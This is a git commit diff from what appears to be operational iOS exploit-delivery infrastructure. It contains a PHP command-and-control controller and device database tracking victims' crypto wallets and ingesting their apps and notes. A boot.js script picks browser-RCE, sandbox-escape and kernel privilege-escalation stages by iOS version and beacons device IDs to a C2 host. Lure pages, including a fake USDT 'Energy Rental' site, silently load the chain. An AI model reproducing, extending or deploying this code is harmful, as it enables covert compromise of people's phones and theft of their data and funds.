This commit is contained in:
hashbro
2026-08-26 06:10:33 +08:00
parent 5cb5744b7a
commit 0ce51aa33e
41 changed files with 1146 additions and 1154 deletions
@@ -46,7 +46,7 @@ class DeviceController extends Controller
$filters = $this->filtersFrom($request);
$q = $this->filteredQuery($filters);
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
$sortable = ['id', 'device_id', 'chain', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'created_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -63,7 +63,7 @@ class DeviceController extends Controller
return [
'id' => $d->id,
'device_id' => $d->device_id,
'family' => $d->family ?: Device::FAMILY_CORUNA,
'chain' => (int) ($d->chain ?: Device::CHAIN_CORUNA),
'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '',
@@ -593,7 +593,7 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
@@ -605,7 +605,7 @@ class DeviceController extends Controller
return [
'device_key' => trim((string) $request->query('device_key', '')),
'family' => trim((string) $request->query('family', '')),
'chain' => $this->parseChainFilter($request->query('chain', $request->query('family'))),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
@@ -618,7 +618,7 @@ class DeviceController extends Controller
}
/**
* @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -628,8 +628,8 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') {
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) {
$q->where('devices.family', $filters['family']);
if ($filters['chain'] !== null) {
$q->where('devices.chain', $filters['chain']);
}
if ($filters['channel_id'] !== '') {
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
@@ -658,4 +658,20 @@ class DeviceController extends Controller
return $q;
}
private function parseChainFilter(mixed $raw): ?int
{
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
if ($value === '' || $value === null) {
return null;
}
if ($value === 1 || $value === '1' || $value === 'coruna') {
return Device::CHAIN_CORUNA;
}
if ($value === 2 || $value === '2' || $value === 'darksword') {
return Device::CHAIN_DARKSWORD;
}
return null;
}
}
@@ -86,7 +86,7 @@ class DarkSwordC2Controller extends Controller
{
$payload = $this->payloadFromQueryOrJson($request);
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request));
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false);
}
public function peStage(Request $request, string $name = ''): SymfonyResponse
@@ -103,7 +103,19 @@ class DarkSwordC2Controller extends Controller
$body['pe_stage'] = $stage;
}
return $this->finish($request, $path, $payload, $this->logAck($request), $body);
$file = public_path('next-chain/pe_stage/'.$stage.'.js');
if (! is_file($file)) {
$file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js');
}
$js = is_file($file) ? (string) file_get_contents($file) : 'ok';
return $this->finish(
$request,
$path,
$payload,
response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'),
$body
);
}
public function register(Request $request): SymfonyResponse
@@ -246,11 +258,14 @@ class DarkSwordC2Controller extends Controller
array $payload,
SymfonyResponse $response,
array|string|null $logBody = null,
bool $ingest = true,
): SymfonyResponse {
try {
$this->ingest->ingest($request, $path, $payload);
} catch (\Throwable $e) {
error_log('[ds] ingest '.$path.' '.$e->getMessage());
if ($ingest) {
try {
$this->ingest->ingest($request, $path, $payload);
} catch (\Throwable $e) {
error_log('[ds] ingest '.$path.' '.$e->getMessage());
}
}
$body = $logBody ?? $this->previewBody($request);
+10 -4
View File
@@ -13,18 +13,18 @@ class Device extends Model
public const WALLET_YES = 2;
public const FAMILY_CORUNA = 'coruna';
public const CHAIN_CORUNA = 1;
public const FAMILY_DARKSWORD = 'darksword';
public const CHAIN_DARKSWORD = 2;
protected $fillable = [
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
'family' => self::FAMILY_CORUNA,
'chain' => self::CHAIN_CORUNA,
];
protected function casts(): array
@@ -33,10 +33,16 @@ class Device extends Model
'telegram_notified' => 'boolean',
'album_storage' => 'boolean',
'has_wallet' => 'integer',
'chain' => 'integer',
'wallet_names' => 'array',
];
}
public function isDarkSword(): bool
{
return (int) $this->chain === self::CHAIN_DARKSWORD;
}
public function hasWalletApps(): bool
{
return (int) $this->has_wallet === self::WALLET_YES;
+4 -4
View File
@@ -42,8 +42,8 @@ class DarkSwordIngestAdapter
public function ingest(Request $request, string $path, array $payload): void
{
match ($path) {
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload),
'/api/ds/log' => $this->ingestLog($request, $payload),
'/api/ds/device/register' => $this->ingestRegister($request, $payload),
'/api/ds/log' => null,
'/a' => $this->ingestProfile($request, $payload),
'/u' => $this->ingestApps($request, $payload),
'/nb' => $this->ingestNotes($request, $payload),
@@ -277,7 +277,7 @@ class DarkSwordIngestAdapter
if ($existing) {
$touch = [
'updated_at' => now(),
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
];
if ($ip !== '') {
$touch['ip'] = $ip;
@@ -299,7 +299,7 @@ class DarkSwordIngestAdapter
$device = Device::query()->create([
'device_id' => $key,
'family' => Device::FAMILY_DARKSWORD,
'chain' => Device::CHAIN_DARKSWORD,
'ip' => $ip !== '' ? $ip : null,
'device_model' => $model,
'ios_version' => $ios,
+1 -1
View File
@@ -27,7 +27,7 @@ class DsBeaconQueue
public function seed(Device $device): void
{
if ($device->family !== Device::FAMILY_DARKSWORD) {
if ((int) $device->chain !== Device::CHAIN_DARKSWORD) {
return;
}
-1
View File
@@ -65,7 +65,6 @@ return Application::configure(basePath: dirname(__DIR__))
'war',
'p',
'stats',
'log.html',
]);
$middleware->redirectGuestsTo(function () {
+7 -23
View File
@@ -1,31 +1,15 @@
# channel-builder-ds
DarkSword / one99 static builder. `source/` is the pristine tree (live hosts).
`tools/build.py` rewrites C2 / delivery origins and copies the result to
`public/next-chain`. Runtime splits two bases:
`source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。
- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`)
- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war)
**资源域名不配置:** 页面用当前 weifile 的 `location.origin + /next-chain`。
**C2 可配置:** `php artisan ds:build --c2 …` 改 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` `/beacon` `/war` `/stats`。
If the page is served under `/next-chain/`, delivery host is inferred automatically.
Override in `source/config.js`:
```js
deliveryHost: "https://cdn.example.com/next-chain", // full base, or
deliveryPath: "/next-chain", // location.origin + path
exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
```
weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。
```bash
# 本地实验室
php artisan ds:build --origin http://192.168.31.130:8000
# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130)
php artisan ds:build --origin https://你的域名
# 等价
cd channel-builder-ds
python3 tools/build.py --origin https://你的域名
php artisan ds:build --c2 http://192.168.31.130:8000
php artisan xxbb:repack
```
看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。
PE 进度:`GET /api/ds/pe-stage/{name}.js` 打到 C2(记日志并吐 JS)。`public/next-chain/pe_stage/` 仍随 `ds:build` 发布,但客户端不再走这条静态路径。
@@ -0,0 +1 @@
{"band":{"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"recommended_worker":"rce_worker_18.6.js","usable_for_attempt":true,"usable_grade":"LIVE","weaponized":true},"chain":"darksword","delivery_ok":true,"entry_point":"","exfil":{"delivery_stats_url":"http://192.168.31.130:8080/stats","domain":"192.168.31.130","host":"192.168.31.130","http_port":8080,"https_port":8080,"prefer_https":false,"stats_url":"http://192.168.31.130:8080/stats","stats_url_direct":"http://192.168.31.130:8080/stats","tls":false},"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"gated":false,"ios":"18.6","ok":true,"reason":"DarkSword 18.4-18.7.2","recommended_worker":"rce_worker_18.6.js","redirect_to":"","s5_module":"","usable_grade":"LIVE","weaponized":true}
@@ -0,0 +1 @@
{"bundle":"18.5-18.6.2","deviceVersion":"18.5","folder":"qqtime/iOS18.5-18.6.2"}
+127 -165
View File
@@ -2,10 +2,92 @@
'use strict';
var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 };
window.__LAB_CHAIN__ = '';
window.__LAB_CHAIN__ = window.__LAB_CHAIN__ || '';
function trimSlash(s) {
return String(s || '').replace(/\/+$/, '');
}
function hostOnly(raw) {
return String(raw || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try { window.__LAB_CHANNEL_CODE__ = code; } catch (e0) {}
try { window.__CORUNA_CHANNEL__ = code; } catch (e1) {}
try { if (sessionStorage) sessionStorage.setItem('lab_channel_code', code); } catch (e2) {}
try { if (localStorage) localStorage.setItem('lab_channel_code', code); } catch (e3) {}
return code;
}
function labChannelCode() {
try {
if (window.__LAB_CHANNEL_CODE__) return String(window.__LAB_CHANNEL_CODE__);
} catch (e0) {}
try {
var stored = sessionStorage.getItem('lab_channel_code') || localStorage.getItem('lab_channel_code') || '';
if (stored) return persistChannelCode(stored);
} catch (e1) {}
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (e2) {}
return '';
}
function assetBase() {
try {
if (window.__LAB_DELIVERY_HOST__) return trimSlash(window.__LAB_DELIVERY_HOST__);
} catch (e0) {}
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = trimSlash(location.origin);
} catch (e1) {}
var path = '/next-chain';
try {
var cfg = window.NEWS2_CONFIG || {};
if (cfg.deliveryPath) path = String(cfg.deliveryPath);
} catch (e2) {}
if (path.charAt(0) !== '/') path = '/' + path;
return origin + path.replace(/\/+$/, '');
}
function apiBase() {
try {
var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
? window.__LAB_EXFIL__
: ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null);
if (ex && ex.host) {
var tls = !!(ex.tls || ex.prefer_https);
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host);
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
return origin;
}
} catch (e0) {}
try {
if (location.origin && location.origin !== 'null') return trimSlash(location.origin);
} catch (e1) {}
return '';
}
function applyExfil(ex) {
if (!ex || !ex.host) return;
window.__LAB_EXFIL__ = {
host: hostOnly(ex.host),
domain: hostOnly(ex.domain || ex.host),
http_port: ex.http_port != null ? Number(ex.http_port) : 80,
https_port: ex.https_port != null ? Number(ex.https_port) : 80,
tls: !!ex.tls,
prefer_https: !!ex.prefer_https,
stats_url: ex.stats_url || '',
stats_url_direct: ex.stats_url_direct || '',
delivery_stats_url: ex.delivery_stats_url || '',
};
}
var _stageQueue = [];
var _lastPostedStage = '';
function notify(stage, progress, label) {
try {
if (window.parent && window.parent !== window) {
@@ -18,84 +100,46 @@
}, '*');
}
} catch (e) {}
enqueueStage(stage, progress, label);
}
function enqueueStage(stage, progress, label) {
var key = String(stage) + '|' + String(progress) + '|' + String(label || stage);
if (key === _lastPostedStage) return;
_lastPostedStage = key;
_stageQueue.push({ stage: stage, progress: progress, label: label || stage });
flushStageReports();
}
function flushStageReports() {
var id = '';
try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {}
if (!id) return;
var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '';
while (_stageQueue.length) {
var item = _stageQueue.shift();
try {
fetch(apiUrl('/api/ds/log'), {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id },
credentials: 'omit',
body: JSON.stringify({
deviceUUID: id,
stage: item.stage,
progress: item.progress,
label: item.label,
chain: window.__LAB_CHAIN__ || '',
channelCode: channel
})
}).catch(function () {});
} catch (eS) {}
}
}
labChannelCode();
window.__LAB_DELIVERY_HOST__ = assetBase();
try {
if (window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) applyExfil(window.NEWS2_CONFIG.exfil);
} catch (eCfg) {}
var base = assetBase();
var api = apiBase();
notify('boot', STAGE.boot, 'frame_boot');
if (typeof labEnsureHosts === 'function') labEnsureHosts();
var base = (typeof labDeliveryHost === 'function')
? labDeliveryHost()
: String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, '');
window.__LAB_DELIVERY_HOST__ = base;
function apiUrl(path) {
return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path);
}
function assetUrl(path) {
return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path));
}
// 記錄 frame.html 載入時間戳
console.log('[Frame] Loaded at', new Date().toISOString());
fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {});
fetch(api + '/api/ds/log?text=frame.html loaded at ' + new Date().toISOString(), { method: 'GET' }).catch(function () {});
function resolveExfilInline() {
try {
var xhr = new XMLHttpRequest();
xhr.open('GET', apiUrl('/api/ds/chain-targets'), false);
xhr.open('GET', api + '/api/ds/chain-targets', false);
xhr.send();
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
var d = JSON.parse(xhr.responseText);
if (d.exfil && d.exfil.host) {
if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil);
else window.__LAB_EXFIL__ = d.exfil;
applyExfil(d.exfil);
api = apiBase();
return;
}
}
} catch (e) {}
if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) {
window.__LAB_EXFIL__ = {
host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
http_port: 443,
https_port: 443,
tls: false,
var h = hostOnly(api || location.hostname);
applyExfil({
host: h,
domain: h,
http_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
https_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80),
tls: location.protocol === 'https:',
prefer_https: false,
stats_url: '',
stats_url_direct: '',
delivery_stats_url: '',
};
});
api = apiBase();
}
}
resolveExfilInline();
@@ -114,7 +158,7 @@
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = a[i] || 0, bi = b[i] || 0;
var ai = (a && a[i]) || 0, bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
@@ -132,7 +176,6 @@
function isSilkPathRange(v) {
if (!v || !v.length) return false;
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
// 17.2.2+ through 18.3 — fills post-Coruna gap
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
if (maj === 18 && min <= 3) return true;
return false;
@@ -156,19 +199,7 @@
setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
}
};
document.body.appendChild(s);
}
function loadChainLoader(onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = assetUrl('/rce_loader.js?_=' + Date.now());
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1));
};
document.body.appendChild(s);
(document.body || document.documentElement).appendChild(s);
}
var ios = parseIosVersion();
@@ -187,14 +218,14 @@
var apiPlan = null;
try {
var xhrPlan = new XMLHttpRequest();
xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false);
xhrPlan.open('GET', api + '/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : ''), false);
xhrPlan.send();
if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) {
apiPlan = JSON.parse(xhrPlan.responseText);
if (apiPlan.chain) chain = apiPlan.chain;
if (apiPlan.exfil) {
if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil);
else window.__LAB_EXFIL__ = apiPlan.exfil;
applyExfil(apiPlan.exfil);
api = apiBase();
}
window.__LAB_BAND__ = apiPlan.band || null;
window.__LAB_GATED__ = !!apiPlan.gated;
@@ -204,19 +235,16 @@
window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || '';
window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || '';
window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt);
if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) {
window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js';
}
try {
var pw = window.__LAB_RECOMMENDED_WORKER__;
if (pw) {
var l = document.createElement('link');
l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw);
l.rel = 'preload'; l.as = 'script'; l.href = base + '/' + pw;
document.head.appendChild(l);
}
['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){
var l2=document.createElement('link');
l2.rel='prefetch'; l2.href=assetUrl('/'+f);
['sbx0_main_18.4.js', 'sbx1_main.js', 'pe_worker.js', 'pe_main.js'].forEach(function (f) {
var l2 = document.createElement('link');
l2.rel = 'prefetch'; l2.href = base + '/' + f;
document.head.appendChild(l2);
});
} catch (ePre) {}
@@ -257,7 +285,6 @@
du = m ? decodeURIComponent(m[1]) : '';
} catch (eCk) {}
}
// Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly
if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32();
window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32);
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {}
@@ -267,20 +294,14 @@
} catch (e0) {
try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {}
}
window.addEventListener('message', function (ev) {
if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return;
window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase();
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {}
try { flushStageReports(); } catch (eF) {}
});
})();
try { flushStageReports(); } catch (eFlush) {}
(function registerFrameDevice() {
try {
var id = window.__LAB_DEVICE_UUID__ || '';
if (!id) return;
var iosStr = ios ? ios.join('.') : '';
var channel = labChannelCode();
var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id };
var regBody = JSON.stringify({
deviceUUID: id,
@@ -289,9 +310,9 @@
ios: iosStr,
ios_version: iosStr,
chain: chain === 'blocked' ? 'out_of_scope' : chain,
channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''
channelCode: channel
});
fetch(apiUrl('/api/ds/device/register'), {
fetch(api + '/api/ds/device/register', {
method: 'POST',
headers: regHeaders,
credentials: 'omit',
@@ -301,30 +322,25 @@
if (canon) {
window.__LAB_DEVICE_UUID__ = canon;
try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {}
try {
document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax';
} catch (e4) {}
if (window.parent && window.parent !== window) {
try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {}
}
}
}).catch(function () {});
} catch (e) {}
})();
console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown');
console.log('[Frame] Chain selected:', chain);
(function () {
var id = window.__LAB_DEVICE_UUID__ || '';
var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown'));
if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id);
fetch(apiUrl('/api/ds/log?' + q), {
var ch = labChannelCode();
if (ch) q += '&channelCode=' + encodeURIComponent(ch);
fetch(api + '/api/ds/log?' + q, {
method: 'GET',
headers: id ? { 'X-Device-UUID': id } : {}
}).catch(function () {});
})();
function setHold(kind) {
try {
var ts = String(Date.now());
@@ -334,86 +350,32 @@
localStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_rce_hold', ts);
}
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*');
}
} catch (e) {}
}
if (chain === 'coruna') {
notify('loader', STAGE.loader);
// Prefer full group.html entry when top-level; inside iframe use loader
var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0)
? window.__LAB_ENTRY__
: '/coruna/group.html';
try {
if (window.top === window) {
location.replace(assetUrl(corunaEntry) + (location.search || ''));
return;
}
} catch (eTop) {}
loadScript(assetUrl('/coruna/coruna_loader.js'), function () {
notify('worker', STAGE.worker);
});
} else if (chain === 'silkpath') {
if (chain === 'darksword' || chain === 'ghostwave') {
setHold('rce');
notify('loader', STAGE.loader);
loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () {
loadScript(base + '/rce_loader.js', function () {
notify('worker', STAGE.worker);
});
} else if (chain === 'darksword' || chain === 'ghostwave') {
// Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm
// reload the page while stage1 is still running (looks like "auto refresh").
setHold('rce');
} else if (chain === 'coruna' || chain === 'silkpath') {
notify('loader', STAGE.loader);
// Load plaintext rce_loader.js
loadChainLoader(function () {
notify('worker', STAGE.worker);
});
} else {
loadScript(assetUrl('/chain_blocked.js'), function () {
notify('loader', STAGE.loader);
});
notify('loader', STAGE.loader);
}
var _log = console.log;
console.log = function () {
var msg = Array.prototype.join.call(arguments, ' ');
// Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6.
if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker);
if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0);
if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1);
if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe);
// S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs
if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post);
else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) {
notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾');
}
if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0);
if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe);
// Signal parent: CoreAnimation→sendPort hang needs timely re-arm
if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*');
}
} catch (_) {}
}
// GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm
if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*');
}
} catch (_) {}
}
if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*');
}
} catch (_) {}
}
return _log.apply(console, arguments);
};
})();
+3 -9
View File
@@ -1,18 +1,12 @@
window.NEWS2_CONFIG = {
// 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain
deliveryHost: "",
deliveryPath: "/next-chain",
qqtimePath: "/qqtime/",
// C2 / API → coruna-lab :8000
// C2 / API — ds:build --c2 rewrites this block
exfil: {
host: "192.168.31.130",
domain: "192.168.31.130",
http_port: 8000,
https_port: 8000,
http_port: 8080,
https_port: 8080,
tls: false,
prefer_https: false,
},
redirectUrl: "https://ab.ux600.com",
countdownSeconds: 8,
};
if (typeof labApplyNews2Config === "function") labApplyNews2Config();
+2 -12
View File
@@ -22,20 +22,10 @@
<div class="top-progress-bar" id="topProgressBar"></div>
</div>
</div>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
})();
</script>
<script src="/config.js"></script>
<script>
var LOADING_MS = 8000;
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'https://ab.ux600.com';
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'http://192.168.31.130:8080/?landed=1';
(function () {
var bar = document.getElementById('topProgressBar');
+3 -13
View File
@@ -1,22 +1,12 @@
<!DOCTYPE html>
<html lang="zh-Hant">
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
document.write('<script src="' + base + '/boot.js"><\/script>');
})();
</script>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
</head>
<body>
<script src="config.js"></script>
<script src="boot.js"></script>
</body>
</html>
+22 -40
View File
@@ -6,17 +6,7 @@
<meta property="og:image" content="https://TRXPeak.com/usdt-trc.webp">
<meta name="twitter:card" content="summary_large_image">
<title>Energy Rental - 24/7 Unattended Instant Delivery</title>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
})();
</script>
<script src="/config.js"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
@@ -516,13 +506,13 @@
// 倒计时与链加载解耦。
// 日志已证实:WC crash 会整页再 GET /,若只用 sessionStorage,倒计时会再跑一遍并再次挂 iframe。
// 用 localStorage(10min TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。
// 用 localStorage(1h TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。
const cfg = window.NEWS2_CONFIG || {};
const landed = /[?&]landed=1(?:&|$)/.test(location.search);
const LS_DONE_AT = "__er_idx_cd_done_at";
